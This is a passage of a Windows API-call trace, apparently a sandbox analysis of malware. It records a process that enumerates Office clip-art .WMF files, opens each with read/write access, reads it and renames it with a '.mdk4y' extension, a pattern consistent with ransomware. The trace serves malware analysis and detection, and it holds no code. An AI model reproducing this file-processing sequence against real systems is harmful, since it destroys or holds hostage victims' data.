[0150.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822589500000) returned 1 [0150.665] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a88, lpOverlapped=0x0) returned 1 [0150.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822591900000) returned 1 [0150.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592000000) returned 1 [0150.690] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.mdk4y")) returned 1 [0150.691] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.691] AreFileApisANSI () returned 1 [0150.691] GetACP () returned 0x4e4 [0150.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107544.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107544.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.691] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592400000) returned 1 [0150.694] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6890, lpOverlapped=0x0) returned 1 [0150.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592500000) returned 1 [0150.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592500000) returned 1 [0150.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.mdk4y")) returned 1 [0150.696] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.696] AreFileApisANSI () returned 1 [0150.696] GetACP () returned 0x4e4 [0150.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107658.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107658.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.696] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592600000) returned 1 [0150.696] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ba0, lpOverlapped=0x0) returned 1 [0150.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592800000) returned 1 [0150.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822592800000) returned 1 [0150.698] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.mdk4y")) returned 1 [0150.699] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.699] AreFileApisANSI () returned 1 [0150.699] GetACP () returned 0x4e4 [0150.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107708.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107708.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.699] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822593000000) returned 1 [0150.700] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12c8, lpOverlapped=0x0) returned 1 [0150.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822593900000) returned 1 [0150.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822593900000) returned 1 [0150.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.mdk4y")) returned 1 [0150.710] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.710] AreFileApisANSI () returned 1 [0150.710] GetACP () returned 0x4e4 [0150.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107712.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107712.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.710] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822594100000) returned 1 [0150.711] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x121c, lpOverlapped=0x0) returned 1 [0150.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822598800000) returned 1 [0150.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822598800000) returned 1 [0150.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.mdk4y")) returned 1 [0150.759] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.759] AreFileApisANSI () returned 1 [0150.759] GetACP () returned 0x4e4 [0150.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107718.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107718.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.759] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822599000000) returned 1 [0150.760] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xed8, lpOverlapped=0x0) returned 1 [0150.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822599900000) returned 1 [0150.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822599900000) returned 1 [0150.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.mdk4y")) returned 1 [0150.770] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.771] AreFileApisANSI () returned 1 [0150.771] GetACP () returned 0x4e4 [0150.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107722.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107722.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.771] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822600300000) returned 1 [0150.773] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2044, lpOverlapped=0x0) returned 1 [0150.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822601600000) returned 1 [0150.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822601600000) returned 1 [0150.787] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.mdk4y")) returned 1 [0150.787] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.787] AreFileApisANSI () returned 1 [0150.787] GetACP () returned 0x4e4 [0150.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107724.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107724.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.787] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822601800000) returned 1 [0150.788] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b68, lpOverlapped=0x0) returned 1 [0150.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822602800000) returned 1 [0150.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822602800000) returned 1 [0150.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.mdk4y")) returned 1 [0150.799] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.799] AreFileApisANSI () returned 1 [0150.799] GetACP () returned 0x4e4 [0150.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107728.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107728.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.799] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822602900000) returned 1 [0150.799] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1574, lpOverlapped=0x0) returned 1 [0150.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822613800000) returned 1 [0150.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822613800000) returned 1 [0150.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.mdk4y")) returned 1 [0150.910] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.910] AreFileApisANSI () returned 1 [0150.910] GetACP () returned 0x4e4 [0150.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107730.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107730.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.910] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822614100000) returned 1 [0150.911] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbf4, lpOverlapped=0x0) returned 1 [0150.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822617100000) returned 1 [0150.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822617100000) returned 1 [0150.941] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.mdk4y")) returned 1 [0150.942] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.942] AreFileApisANSI () returned 1 [0150.942] GetACP () returned 0x4e4 [0150.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107734.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107734.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.942] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822617200000) returned 1 [0150.942] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc44, lpOverlapped=0x0) returned 1 [0150.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822619600000) returned 1 [0150.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822619600000) returned 1 [0150.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.mdk4y")) returned 1 [0150.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.967] AreFileApisANSI () returned 1 [0150.967] GetACP () returned 0x4e4 [0150.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107742.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107742.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822619800000) returned 1 [0150.968] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe3c, lpOverlapped=0x0) returned 1 [0150.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822622500000) returned 1 [0150.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822622500000) returned 1 [0150.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.mdk4y")) returned 1 [0150.996] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.996] AreFileApisANSI () returned 1 [0150.996] GetACP () returned 0x4e4 [0150.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107744.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107744.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.996] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822622900000) returned 1 [0150.999] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x138c, lpOverlapped=0x0) returned 1 [0151.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822623500000) returned 1 [0151.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822623500000) returned 1 [0151.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.mdk4y")) returned 1 [0151.006] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.006] AreFileApisANSI () returned 1 [0151.006] GetACP () returned 0x4e4 [0151.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107746.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107746.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.006] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822623600000) returned 1 [0151.006] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12b4, lpOverlapped=0x0) returned 1 [0151.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822624200000) returned 1 [0151.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822624200000) returned 1 [0151.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.mdk4y")) returned 1 [0151.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.013] AreFileApisANSI () returned 1 [0151.013] GetACP () returned 0x4e4 [0151.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107748.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107748.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822624400000) returned 1 [0151.014] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2020, lpOverlapped=0x0) returned 1 [0151.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822629300000) returned 1 [0151.064] 